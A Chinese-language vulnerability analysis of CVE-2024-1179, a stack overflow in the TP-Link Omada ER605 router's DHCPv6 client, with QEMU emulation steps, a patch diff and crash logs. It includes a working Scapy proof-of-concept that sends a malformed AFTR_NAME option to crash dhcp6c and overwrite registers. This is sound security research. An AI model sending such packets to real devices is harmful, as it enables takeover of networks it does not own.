Pwn2Own TORONTO 2023 (CVE-2024-1179) & TP-Link Omada ER605
字数 1259 2025-08-22 12:23:13
TP-Link Omada ER605 DHCPv6客户端漏洞分析 (CVE-2024-1179)
漏洞概述
CVE ID: CVE-2024-1179
CVSS评分: 7.5 (AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H)
受影响设备: TP-Link Omada ER605路由器
漏洞类型: 基于栈的缓冲区溢出
认证要求: 无需认证
攻击向量: 网络相邻攻击者
该漏洞存在于TP-Link Omada ER605路由器的DHCPv6客户端实现中,由于在处理DHCP选项时缺乏对用户提供数据长度的适当验证,导致攻击者可以在root上下文中执行任意代码。
漏洞技术细节
漏洞位置
漏洞位于dhcp6c二进制文件中,具体在0x405F08函数处理DHCPv6选项64(AFTR_NAME)时的memcpy操作。
根本原因
在处理AFTR_NAME选项(DHCP选项64)时,程序没有正确验证用户提供的长度参数,导致可以复制超出目标缓冲区大小的数据到固定长度的栈缓冲区中。
修复版本
ER605(UN)_V2_2.2.4 Build 20240119
环境搭建
所需工具
- QEMU (qemu-system-mips)
- Debian MIPS镜像
- 固件文件
- IDA Pro/Ghidra (用于逆向分析)
- GDB (用于调试)
固件下载
网络配置
sudo ifconfig ens32 down
sudo brctl addbr br0
sudo brctl addif br0 ens32
sudo ifconfig br0 0.0.0.0 promisc up
sudo ifconfig ens32 0.0.0.0 promisc up
sudo dhclient br0
sudo tunctl -t tap0
sudo brctl addif br0 tap0
sudo ifconfig tap0 0.0.0.0 promisc up
QEMU启动
sudo qemu-system-mips \
-M malta -kernel vmlinux-3.2.0-4-4kc-malta \
-hda debian_wheezy_mips_standard.qcow2 \
-append "root=/dev/sda1" \
-net nic,macaddr=00:16:3e:00:00:01 \
-net tap,ifname=tap0,script=no,downscript=no \
-nographic
固件模拟
mount -t proc /proc ./squashfs-root/proc
mount -o bind /dev ./squashfs-root/dev
chroot ./squashfs-root/ sh
漏洞分析
补丁对比
修复版本在dhcp6c二进制中对case 64的处理增加了长度检查:
// 漏洞版本
case 64:
if (optlen) {
v65 = (a3 + 232);
if (a3 != -232) {
if (cp) {
tlen = tlen[4];
v64 = 1;
opt = 0;
while (tlen) {
if (optlen < tlen) break;
memcpy(&v65[opt], cp + v64, tlen);
v15 = &tlen[v64];
if (&tlen[v64] >= optlen) break;
v16 = &tlen[opt];
v64 = (v15 + 1);
tlen = v15[cp];
opt = (v16 + 1);
v16[v65] = 46;
}
}
}
}
// 修复版本
case 64:
if (!v62) goto LABEL_110;
v66 = (const char *)(a3 + 232);
if (a3 == -232 || !cp) goto LABEL_110;
size = (unsigned __int8 *)(char)size[4];
v65 = 1;
opt = 0;
while (1) {
if (!size) goto LABEL_110;
if ((int)size < 0 || v62 < (int)size || (int)size >= 64 - opt) break;
memcpy(&v66[opt], cp + v65, size);
v16 = (const char *)&size[v65];
if ((int)&size[v65] >= v62) goto LABEL_110;
v17 = &size[opt];
v65 = (int)(v16 + 1);
size = (unsigned __int8 *)v16[cp];
opt = (int)(v17 + 1);
v17[(_DWORD)v66] = 46;
}
sub_4043BC(6, "getAftrName", "tlen is more than DHCP6_AFTRNAME_SIZE");
goto LABEL_110;
修复版本增加了以下关键检查:
- 检查size是否为负数
- 检查size是否超过剩余缓冲区大小(64 - opt)
- 添加了错误日志输出
AFTR_NAME选项格式
AFTR_NAME选项格式如下:
0 1 2 3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+---------------+---------------+---------------+---------------+
| OPTION_AFTR_NAME | option-len |
+---------------+---------------+---------------+---------------+
| |
| tunnel-endpoint-name (FQDN) |
| |
+---------------+---------------+---------------+---------------+
其中tunnel-endpoint-name字段格式为:
- 一个字节表示DNS标签长度
- 标签内容
- 重复直到所有标签处理完毕
- 以零长度标签终止
例如:"aftr.example.com"编码为:
\x04aftr\x07example\x03com\x00
漏洞利用
PoC开发
- 首先需要构造合法的DHCPv6 Reply报文
- 在报文中包含恶意的AFTR_NAME选项(选项64)
- 控制option和length以及对应的数据
关键PoC代码
from scapy.all import *
from scapy.layers.inet6 import IPv6, UDP
from scapy.layers.dhcp6 import DHCP6_Reply, DHCP6OptServerId, DHCP6OptClientId
interface_name = "br0"
source_ipv6 = "fe80::21c:42ff:fee0:61cf"
destination_ipv6 = "fe80::216:3eff:fe00:1"
source_mac = "00:0c:29:b2:c1:98"
destination_mac = "00:16:3E:00:00:01"
transaction_id = 0x25d6bd
# 构造以太网层
ether_layer = Ether(src=source_mac, dst=destination_mac)
# 构造IPv6层
ipv6_layer = IPv6(src=source_ipv6, dst=destination_ipv6)
# 构造UDP层
udp_layer = UDP(sport=547, dport=546)
# 构造DHCPv6 REPLY消息
dhcp6_reply = DHCP6_Reply(trid=transaction_id)
# 构造Server ID选项
server_id = DHCP6OptServerId(duid=DUID_LLT(hwtype=1, lladdr=source_mac))
# 构造恶意AFTR_NAME选项
p1 = b'\x00\x40\x03\x00' # 选项64
p2 = (b'\xff' + b'a' * 0xff) * 3 # 恶意payload
p1 += p2
# 组合所有层
packet = ether_layer / ipv6_layer / udp_layer / dhcp6_reply / p1
# 发送数据包
sendp(packet)
崩溃分析
当发送恶意AFTR_NAME选项后,程序会在memcpy处崩溃:
Mar/28/2024 06:42:03: client6_recv: receive reply from fe80::21c:42ff:fee0:61cf%eth0 on eth0
Mar/28/2024 06:42:03: dhcp6_get_options: get DHCP option opt_64, len 768
Segmentation fault
寄存器状态显示已被劫持:
*V0 0x7fbda0e0 ◂— 0x61616161 ('aaaa')
*V1 0x7fbdb004
*A0 0x7fbdab15 ◂— 0x61616161 ('aaaa')
*A1 0x7fbd9c05 ◂— 0x61616161 ('aaaa')
*A2 0xfffffffc
*A3 0x61616161 ('aaaa')
*T0 0x61616161 ('aaaa')
缓解措施
- 升级到修复版本ER605(UN)_V2_2.2.4 Build 20240119或更高版本
- 在网络边界过滤异常的DHCPv6流量
- 禁用不必要的DHCPv6功能
参考资源
- Cisco DHCPv6文档
- DHCPv6 RFC 3315
- AFTR_NAME选项规范